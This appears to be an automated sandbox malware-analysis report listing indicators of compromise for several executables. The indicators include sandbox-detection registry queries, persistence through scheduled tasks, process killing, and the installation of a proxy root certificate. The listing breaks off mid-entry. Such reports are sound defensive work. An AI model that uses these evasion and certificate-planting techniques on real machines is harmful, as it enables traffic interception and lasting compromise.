C0CA61A12E4C8B38.exeC0CA61A12E4C8B38.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 C0CA61A12E4C8B38.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc C0CA61A12E4C8B38.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc C0CA61A12E4C8B38.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 C0CA61A12E4C8B38.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc C0CA61A12E4C8B38.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
B00D.tmp.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 B00D.tmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString B00D.tmp.exe -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exepid process 2656 schtasks.exe 6908 schtasks.exe 5768 schtasks.exe -
Delays execution with timeout.exe 5 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 3144 timeout.exe 4140 timeout.exe 4192 timeout.exe 5460 timeout.exe 3172 timeout.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
Processes:
xcopy.exemultitimer.exexcopy.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe -
GoLang User-Agent 7 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes:
description flow ioc HTTP User-Agent header 649 Go-http-client/1.1 HTTP User-Agent header 651 Go-http-client/1.1 HTTP User-Agent header 652 Go-http-client/1.1 HTTP User-Agent header 1696 Go-http-client/1.1 HTTP User-Agent header 643 Go-http-client/1.1 HTTP User-Agent header 646 Go-http-client/1.1 HTTP User-Agent header 647 Go-http-client/1.1 -
Kills process with taskkill 9 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exeTASKKILL.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 5096 taskkill.exe 4828 taskkill.exe 4884 taskkill.exe 6056 taskkill.exe 6452 TASKKILL.exe 2240 taskkill.exe 3156 taskkill.exe 6148 taskkill.exe 2160 taskkill.exe -
Modifies data under HKEY_USERS 1 IoCs
Processes:
file.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\PegasPc file.exe -
Modifies registry class 46 IoCs
Processes:
MicrosoftEdge.exemg20201223-1.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites\Order = 0c0000000a000000000000000c0000000100000000000000 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\AllComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url5 = "https://twitter.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersi = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder mg20201223-1.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 998267c856add601 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\MigrationTime = 998267c856add601 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1" mg20201223-1.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\DetectPhoneNumberComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 998267c856add601 MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/" MicrosoftEdge.exe -
Processes:
Setup.exevpn.tmpfile.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Setup.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\5E66E0CA2367757E800E65B770629026E131A7DC\Blob = 0300000001000000140000005e66e0ca2367757e800e65b770629026e131a7dc2000000001000000ba060000308206b63082059ea003020102021004d54dc0a2016b263eeeb255d321056e300d06092a864886f70d0101050500306f310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312e302c060355040313254469676943657274204173737572656420494420436f6465205369676e696e672043412d31301e170d3133303831333030303030305a170d3136303930323132303030305a308181310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100a10462099150b2575bc037614701c292ba96e98270fdb06e1d1f40343e720e259d6f9fdf59bcb9365f8cea69689aed7a4354591db75509826ad71ab3f00cb18ed11157effc5eb3bf5730b33b5ba76fd73f3fd7f1b2256410223a7f8f5f52b6fb8b31a979cc50f831880fc837c81168e74dd4f57368ef55a1dbe480a815128e0d944d4d70be02ed65efe486a020f50dfdfe6d2a0dfab3ff9885fdb1bc39b79bb0a38183e42d557a60da66883c3307c208655da1a43eeb2393ea10b200f55ddfd66da47eae911eebe43113c7aafdf8e13d2fef2604eac2e3739021816b323dc9ef0f8411a1a7921023ff3cd7f1f4d4307f6ad13816d47b93823c9683069315088d0203010001a382033930820335301f0603551d230418301680147b68ce29aac017be497ae1e53fd6a7f7458f3532301d0603551d0e041604149afe50cc7c723e76b49c036a97a88c8135cb6651300e0603551d0f0101ff04040302078030130603551d25040c300a06082b0601050507030330730603551d1f046c306a3033a031a02f862d687474703a2f2f63726c332e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c3033a031a02f862d687474703a2f2f63726c342e64696769636572742e636f6d2f617373757265642d63732d32303131612e63726c308201c40603551d20048201bb308201b7308201b306096086480186fd6c0301308201a4303a06082b06010505070201162e687474703a2f2f7777772e64696769636572742e636f6d2f73736c2d6370732d7265706f7369746f72792e68746d3082016406082b06010505070202308201561e8201520041006e007900200075007300650020006f00660020007400680069007300200043006500720074006900660069006300610074006500200063006f006e0073007400690074007500740065007300200061006300630065007000740061006e006300650020006f00660020007400680065002000440069006700690043006500720074002000430050002f00430050005300200061006e00640020007400680065002000520065006c00790069006e0067002000500061007200740079002000410067007200650065006d0065006e00740020007700680069006300680020006c0069006d006900740020006c0069006100620069006c00690074007900200061006e0064002000610072006500200069006e0063006f00720070006f00720061007400650064002000680065007200650069006e0020006200790020007200650066006500720065006e00630065002e30818206082b0601050507010104763074302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304c06082b060105050730028640687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274417373757265644944436f64655369676e696e6743412d312e637274300c0603551d130101ff04023000300d06092a864886f70d0101050500038201010035d3e402ab7e93e4c84f74475c2403fbaf99335beb29aef76c0cbadf9eed476e26ae26aa5e87bb55e851926d2db986d674efd71abe7ecdc4b57c98d65b862725bd09e466949c3cf68cb40631d734ee948e4a7e5c849edf9757530a17e85c91e3dbc61e31a5d30b7250e83316c23728cc3fc0c721f61780a9f8542b575131652426be91885d9756313eff308755b60ccf6ade5f7bd7e32690a51c0b470a3bfe9dbedad74b535349ff469baa3e4d741d7db011501f80afdc4138a345c36e78710681be9d5b2bd45620bfaddf8e4ebd58e0820296f5c40c06fc48db187ff49fcaf489866fdae7c4d7224e3548bac384a5e7b59175c8fd6a667fa6ee3838802ce9be vpn.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA vpn.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\CBC64D0FC770B1694DF723BB18B5679CE09B61CA\Blob = 030000000100000014000000cbc64d0fc770b1694df723bb18b5679ce09b61ca20000000010000000c06000030820608308204f0a00302010202100ebd24bdfbd4adddd2edd27e8fb1953c300d06092a864886f70d01010b0500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b302906035504031322446967694365727420455620436f6465205369676e696e6720434120285348413229301e170d3136303230393030303030305a170d3139303231333132303030305a3082011d311d301b060355040f0c1450726976617465204f7267616e697a6174696f6e31133011060b2b0601040182373c0201031302555331193017060b2b0601040182373c020102130844656c61776172653110300e06035504051307333736313235363129302706035504091320353938302053746f6e6572696467652044726976652c20537569746520313033310e300c060355041113053934353838310b3009060355040613025553311330110603550408130a43616c69666f726e6961311330110603550407130a506c656173616e746f6e31233021060355040a131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e312330210603550403131a4f70656e56504e20546563686e6f6c6f676965732c20496e632e30820122300d06092a864886f70d01010105000382010f003082010a0282010100dbfa60e717145ef04d047ef2824532ee8a363d6b8fda58b639832f07eccba53b0446715d150e886195607af12d04e77a0f90bca14e70a782603b0ee5b9dca6cf43d5befb9887c54a3a507a82c7dd4a3fec3aed83171ff020b0c1ca50b87751a597b13454a31bd07796eea97ee55631a43d92cbc7275dfc6da478de5f3c8e2c3431db592d2410de2e789465cf73498df4e042aaa085855603e5165b84e25f27c6d29f77a1cc7bf2875da81395715c662b0333b025b37fcac7bd2f3b50a497613d972182c25e796e0dc453264c6e5340bd4962d5d3d37db06dfc03efb0ba8215b9ef2ef52c15d369db3a732259d286a9aa761ccafff0558c8efdab678d785cfe370203010001a38201f1308201ed301f0603551d230418301680148fe87ef06d326a000523c770976a3a90ff6bead4301d0603551d0e041604149bb182bc8ec73483e7d3569d57448488d1803437302e0603551d1104273025a02306082b06010505070803a01730150c1355532d44454c41574152452d33373631323536300e0603551d0f0101ff04040302078030130603551d25040c300a06082b06010505070303307b0603551d1f047430723037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c3037a035a0338631687474703a2f2f63726c342e64696769636572742e636f6d2f4556436f64655369676e696e67534841322d67312e63726c304b0603551d2004443042303706096086480186fd6c0302302a302806082b06010505070201161c68747470733a2f2f7777772e64696769636572742e636f6d2f4350533007060567810c0103307e06082b0601050507010104723070302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304806082b06010505073002863c687474703a2f2f636163657274732e64696769636572742e636f6d2f44696769436572744556436f64655369676e696e6743412d534841322e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820101006c24a9a7e30a7db2301b344f60cd1b1daf32fce4207ff625bd635f062f8a65301a7d66fade8ba809d0863421631692ef527119eaed4d1f012a98606727c8682aaf1099ca03ab9e996184f4186bce0ca7739c9e6e7144972012ac6eb4ac7db2122b244546f09647fa477a0613401f42e72f4a56fd687d946c4a41e1d1238fe8959e0b6e0cb692e92d96ccc7bde669843c60a374d001608328688790f65ababb20c78c59dad5b32bd79d67c60341c754eae510e08f897e6190c3af2d171261bcea2905545682ace869cd7cc3e66e635dd4f6420dcdc0909b780456523f685aec28b7a5585fae78f36ae3b84d0690f5ee0aa522245546508b2fadb6975f6082d11f vpn.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 file.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 